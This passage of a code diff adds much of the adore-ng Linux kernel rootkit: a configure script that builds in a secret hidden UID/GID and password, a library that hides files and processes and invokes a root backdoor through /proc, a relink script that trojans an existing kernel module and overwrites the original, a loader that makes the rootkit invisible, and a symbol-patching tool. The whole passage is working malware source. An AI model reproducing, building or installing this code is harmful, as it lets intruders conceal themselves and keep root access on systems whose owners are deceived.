46 if (__this_module.next)
47 __this_module.next = __this_module.next->next;
48
49 return 0;
50}
51
52int cleanup_module()
53{
54 return 0;
55}
56
57MODULE_LICENSE("GPL");
58
diff --git a/other/adore-ng/configure b/other/adore-ng/configure
new file mode 100755
index 0000000..0edcb41
--- /dev/null
+++ b/other/adore-ng/configure
@@ -0,0 +1,243 @@
1#!/usr/bin/perl
2
3# (C) 2002 by Stealth.
4# Using at your own risk. Licensed under BSDish license.
5# See LICENSE-file. Standard disclaimer applies.
6
7# adore configuration script
8# One can also use Makefile.gen edited by hand
9# when perl is not available or one needs special values
10# (crosscompiling)
11
12#
13# Initializink, Pitr ...
14#
15
16$elite_uid = 0;
17$elite_cmd = 0;
18$cc = "";
19$| = 1;
20$current_adore = 41;
21$bw = shift || 4;
22
23print "\nUsing byte-width of $bw for UID/GID\n";
24
25sub get_pass()
26{
27 print "\n\nSince version 0.33 Adore requires 'authentication' for\n".
28 "its services. You will be prompted for a password now and this\n".
29 "password will be compiled into 'adore' and 'ava' so no further actions\n".
30 "by you are required.\nThis procedure will save adore from scanners.\n".
31 "Try to choose a unique name that is won't clash with filenames in /proc.\n";
32
33 print "Password (echoed):"; my $s = <STDIN>;
34 chop($s);
35 s/"//g;
36 return substr($s, 0, 15);
37}
38
39#
40# find elite UID+GID
41#
42sub get_elite_id()
43{
44 my $uid = 0, $p;
45 if ($bw == 2) {
46 $p = "S";
47 } elsif ($bw == 4) {
48 $p = "I";
49 } else {
50 print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n";
51 exit;
52 }
53
54 open(R, "/dev/random") or die "$!";
55 while (defined(getpwuid($uid))) {
56 read R, $uid, $bw;
57 $uid = unpack($p, $uid);
58 }
59 read R, $gid, $bw;
60 close(R);
61 $gid = unpack($p, $gid);
62 return ($uid, $gid);
63}
64
65
66#
67sub check_smp()
68{
69 if (`uname -a` =~ "SMP") {
70 return "YES";
71 } else {
72 return "NO";
73 }
74}
75
76
77sub check_26()
78{
79 if (`uname -r` =~ /2\.6/) {
80 return "YES";
81 } else {
82 return "NO";
83 }
84}
85
86
87# check for CONFIG_MODVERSIONS=y
88sub check_modversions()
89{
90 open I, "</proc/ksyms" or die "open(/proc/ksyms) $!";
91 while (<I>) {
92 if (/kernel_thread_R.+/) {
93 close I;
94 return "YES";
95 }
96 if (/kernel_thread/) {
97 close I;
98 return "NO";
99 }
100 }
101 print "WARN: Can't find kernel_thread!! Using \"NO\"!";
102 return "NO";
103}
104
105#
106# Look for loaded modules
107#
108sub check_modules()
109{
110 print "Loaded modules:\n";
111 system("cat /proc/modules");
112}
113
114#
115# Look where insmod is located
116#
117sub check_insmod()
118{
119 my $s;
120 print "Checking 4 insmod ... ";
121 foreach (qw(/bin /sbin /usr/sbin /usr/bin)) {
122 if (-x ($s = "$_/insmod")) {
123 print "found $s -- OK\n";
124 return $s;
125 }
126 }
127 print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n";
128 return "insmod";
129}
130
131#
132# RH 7 has 'kgcc'
133#
134sub check_cc()
135{
136 my $r;
137 if (-x "/usr/bin/kgcc") {
138 $r = "kgcc";
139 } else {
140 $r = "cc";
141 }
142 return $r;
143}
144
145
146##############################
147#
148# main()
149#
150##############################
151
152print "\nStarting adore configuration ...\n\n";
153($uid, $gid) = get_elite_id();
154
155print "Checking 4 ELITE_UID + ELITE_GID ... ";
156print "found $uid, $gid\n";
157
158
159print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n";
160
161print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n";
162
163print "Checking for kgcc ... ";
164print "found ", $cc = check_cc(), "\n";
165
166
167$insmod = check_insmod();
168print "\n";
169
170check_modules();
171
172$pwd = get_pass();
173
174
175print "\nPreparing '.' for hiding ... ";
176chown($uid, $gid, ".") or print "(failed)";
177
178print "\n\n";
179print "Creating Makefile ...\n";
180
181print "\n\a*** Edit adore-ng.h for the hidden services ***\n";
182
183#
184# create an Makefile backup.
185#
186
187$date = `date`;
188$date =~ tr/ /_/;
189
190system("touch Makefile;cp Makefile Makefile_$date");
191
192#
193# write Makefile
194#
195
196open(O, ">Makefile") or die "open(Makefile) $!";
197
198print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";
199print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include";
200print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".
201 "CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";
202
203if ($has_smp eq "NO") {
204 print O "#";
205}
206
207print O "CFLAGS+=-D__SMP__\n";
208
209
210print O "\n";
211
212if ($has_modversions eq "NO") {
213 print O "#";
214}
215
216print O<<_EOF_;
217CFLAGS+=-DMODVERSIONS
218
219all: adore-ng ava cleaner symsed
220
221adore-ng: adore-ng.c
222 rm -f adore-ng.o
223 \$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o
224 \$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o
225
226ava: ava.c libinvisible.c
227 \$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava
228
229cleaner: cleaner.c
230 \$(CC) \$(INC) -c \$(CFLAGS) cleaner.c
231
232symsed: symsed.c
233 \$(CC) -O2 symsed.c -o symsed
234clean:
235 rm -f core ava symsed *.o
236_EOF_
237
238#
239# Done :>
240#
241
242close O;
243
diff --git a/other/adore-ng/irq_vectors.h b/other/adore-ng/irq_vectors.h
new file mode 100644
index 0000000..753c643
--- /dev/null
+++ b/other/adore-ng/irq_vectors.h
@@ -0,0 +1,10 @@
1#ifndef NR_IRQS
2#define NR_IRQS 1
3#endif
4
5#ifndef NR_IRQ_VECTORS
6#define NR_IRQ_VECTORS 1
7#endif
8
9
10
diff --git a/other/adore-ng/libinvisible.c b/other/adore-ng/libinvisible.c
new file mode 100644
index 0000000..a8aded4
--- /dev/null
+++ b/other/adore-ng/libinvisible.c
@@ -0,0 +1,169 @@
1/*
2 * Copyright (C) 1999/2000 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33/* Upper layer to be independant from implementation of
34 * kernel-hacks.
35 * Just write appropriate functions for new kernel-mods,
36 * and ava.c will be happy.
37 */
38
39#include <sys/types.h>
40#include <sys/stat.h>
41#include <stdio.h>
42#include <stdlib.h>
43#include <unistd.h>
44#include <signal.h>
45#include <errno.h>
46#include <fcntl.h>
47
48#include "libinvisible.h"
49
50int getresuid(uid_t *, uid_t *, uid_t *);
51
52#ifdef linux
53adore_t *adore_init()
54{
55 int fd;
56 uid_t r, e, s;
57 adore_t *ret = calloc(1, sizeof(adore_t));
58
59 fd = open("/proc/"ADORE_KEY, 0);
60 close(fd);
61 getresuid(&r, &e, &s);
62
63 if (s == getuid() && getuid() != CURRENT_ADORE) {
64 fprintf(stderr,
65 "Tried to authorized myself. No luck, no adore?\n");
66 ret->version = -1;
67 } else
68 ret->version = s;
69 return ret;
70}
71
72/* Hide a file
73 */
74int adore_hidefile(adore_t *a, char *path)
75{
76 return lchown(path, ELITE_UID, ELITE_GID);
77}
78
79/* Unhide a file
80 */
81int adore_unhidefile(adore_t *a, char *path)
82{
83 return lchown(path, 0, 0);
84}
85
86/* Hide a process with PID pid
87 */
88int adore_hideproc(adore_t *a, pid_t pid)
89{
90 char buf[1024];
91
92 if (pid == 0)
93 return -1;
94
95 sprintf(buf, "/proc/hide-%d", pid);
96 close(open(buf, O_RDONLY));
97 return 0;
98}
99
100/* make visible again */
101int adore_unhideproc(adore_t *a, pid_t pid)
102{
103 char buf[1024];
104
105 if (pid == 0)
106 return -1;
107 sprintf(buf, "/proc/unhide-%d", pid);
108 close(open(buf, O_RDONLY));
109 return 0;
110}
111
112/* permanently remove proc
113 */
114int adore_removeproc(adore_t *a, pid_t pid)
115{
116 printf("Not supported in this version.\n");
117 return 1;
118}
119
120/* use the hidden setuid(0)-like backdoor
121 */
122int adore_makeroot(adore_t *a)
123{
124 /* now already handled by adore_init() */
125 close(open("/proc/fullprivs", O_RDONLY));
126 if (geteuid() != 0)
127 return -1;
128 return 0;
129}
130
131/* return version number of installed adore
132 */
133int adore_getvers(adore_t *a)
134{
135 if (!a)
136 return -1;
137 return a->version;
138}
139
140int adore_free(adore_t *a)
141{
142 free(a);
143 return 0;
144}
145
146/* uninstall adore
147 */
148int adore_uninstall(adore_t *a)
149{
150 close(open("/proc/uninstall", O_RDONLY));
151 return 0;
152}
153
154/* disappeared in 0.3 */
155int adore_disable_logging(adore_t *a)
156{
157 return -ENOENT;
158}
159
160/* ditto */
161int adore_enable_logging(adore_t *a)
162{
163 return -ENOENT;
164}
165
166#else
167#error "Not supported architecture (Not Linux)."
168#endif /* linux */
169
diff --git a/other/adore-ng/libinvisible.h b/other/adore-ng/libinvisible.h
new file mode 100644
index 0000000..179f6eb
--- /dev/null
+++ b/other/adore-ng/libinvisible.h
@@ -0,0 +1,74 @@
1/*
2 * Copyright (C) 1999/2000 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#ifndef _LIBINVISIBLE_H_
34#define _LIBINVISIBLE_H_
35
36#include <sys/types.h>
37
38/* Whenever you change this, do so in adore.c!!!
39 */
40#define SIGINVISIBLE 100
41#define SIGVISIBLE 101
42#define SIGREMOVE 102
43
44typedef struct adore_t {
45 int version;
46 /* nothing more yet */
47} adore_t;
48
49adore_t *adore_init();
50
51/* adore_t as first argument is something like
52 * 'this' in C++.
53 * It isn't much used yet, but good for later
54 * extensions.
55 */
56int adore_hidefile(adore_t *, char *);
57int adore_unhidefile(adore_t *, char *);
58
59int adore_hideproc(adore_t *, pid_t);
60int adore_removeproc(adore_t *, pid_t);
61int adore_unhideproc(adore_t *, pid_t);
62
63int adore_makeroot(adore_t *);
64int adore_free(adore_t *);
65int adore_getvers(adore_t *);
66int adore_free(adore_t *);
67
68int adore_disable_logging(adore_t *);
69int adore_enable_logging(adore_t *);
70
71int adore_uninstall(adore_t *);
72
73#endif
74
diff --git a/other/adore-ng/relink b/other/adore-ng/relink
new file mode 100755
index 0000000..368a3a3
--- /dev/null
+++ b/other/adore-ng/relink
@@ -0,0 +1,46 @@
1#!/usr/bin/perl
2
3$| = 1;
4open(I, "</proc/modules") || die $!;
5
6print "The following LKMs are available:\n\n";
7$i = 0;
8while ($_ = <I>) {
9 if (($i++ % 5) == 0) {
10 print "\n";
11 }
12 /(\w+) /;
13 $module = $1;
14 print "$module ";
15}
16
17print "\n\nChose one: ";
18$lkm = <STDIN>;
19$lkm =~ s/\n//;
20print "Choice was >>>$lkm<<<\n";
21print "Searching for $lkm.o ...\n";
22
23$u = `uname -r`;
24$u =~ s/\n//;
25$lkm_path = `find /lib/modules/$u -name $lkm.o`;
26$lkm_path =~ s/\n//;
27if ($lkm_path eq "") {
28 print "No LKM with that name found!\n";
29 exit;
30}
31
32print "Found $lkm_path!\n";
33
34system("cp $lkm_path t.o");
35system("./symsed t.o zero;ld -r t.o zero.o -o z.o; rm -f t.o");
36print "\nCopy trojaned LKM back to original LKM? (y/n)\n";
37
38while ($yn !~ /^(y|n)$/i) {
39 $yn = <STDIN>;
40 $yn =~ s/\n//;
41}
42
43if ($yn =~ /y/i) {
44 system("cp z.o $lkm_path");
45}
46
diff --git a/other/adore-ng/startadore b/other/adore-ng/startadore
new file mode 100755
index 0000000..a30751e
--- /dev/null
+++ b/other/adore-ng/startadore
@@ -0,0 +1,11 @@
1#!/bin/sh
2
3# Use this script to bootstrap adore!
4# It will make adore invisible. You could also
5# insmod adore without $0 but then its visible.
6
7insmod ./adore-ng.o
8insmod ./cleaner.o
9rmmod cleaner
10
11
diff --git a/other/adore-ng/symsed.c b/other/adore-ng/symsed.c
new file mode 100644
index 0000000..3755367
--- /dev/null
+++ b/other/adore-ng/symsed.c
@@ -0,0 +1,52 @@
1#include <stdio.h>
2#include <fcntl.h>
3#include <sys/mman.h>
4#include <unistd.h>
5#include <sys/types.h>
6#include <sys/stat.h>
7#include <string.h>
8#include <errno.h>
9#include <stdlib.h>
10
11
12int main(int argc, char **argv)
13{
14 int fd = 0;
15 char *ptr = NULL, *orig_ptr = NULL;
16 struct stat st;
17
18 if (argc != 3) {
19 printf("Usage: %s <file> <subst>\n", *argv);
20 exit(1);
21 }
22 if (strlen(argv[2]) >= strlen("init_module")) {
23 printf("Can't only substitute symbols by strings with at most"
24 "%u characters.\n", strlen("init_module"));
25 exit(2);
26 }
27
28 if ((fd = open(argv[1], O_RDWR)) < 0) {
29 perror("open");
30 exit(errno);
31 }
32 if (fstat(fd, &st) < 0) {
33 perror("fstat");
34 exit(errno);
35 }
36 ptr = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
37 orig_ptr = ptr;
38 if (!ptr) {
39 perror("mmap");
40 exit(errno);
41 }
42 for (; ptr < orig_ptr + st.st_size; ++ptr) {
43 if (strncmp(ptr, "init_module", strlen("init_module")) == 0 ||
44 strncmp(ptr, "cleanup_module", strlen("cleanup_module")) == 0) {
45 memcpy(ptr, argv[2], strlen(argv[2]));
46 ptr += strlen(argv[2]);
47 }
48 }
49 munmap(ptr, st.st_size);
50 return 0;
51}
52
diff --git a/other/adore-ng/visible-start.c b/other/adore-ng/visible-start.c
new file mode 100644
index 0000000..fc5b8d1
--- /dev/null
+++ b/other/adore-ng/visible-start.c
@@ -0,0 +1,22 @@
1/* Due to new proc hiding technique, from a hidden shell
2 * there cant be any processes started which are visible
3 * since the parent (shell) is invisible. So we have to
4 * make init the parent and then start the process. Then
5 * it is visible
6 */
7#include <stdio.h>
8#include <unistd.h>
9#include <stdlib.h>
10
11
12int main(int argc, char **argv, char **env)
13{
14 if (fork()) {
15 exit(0);
16 }
17 if (argc > 1)
18 execve(argv[1],argv+1, env);
19 return -1;
20}
21
22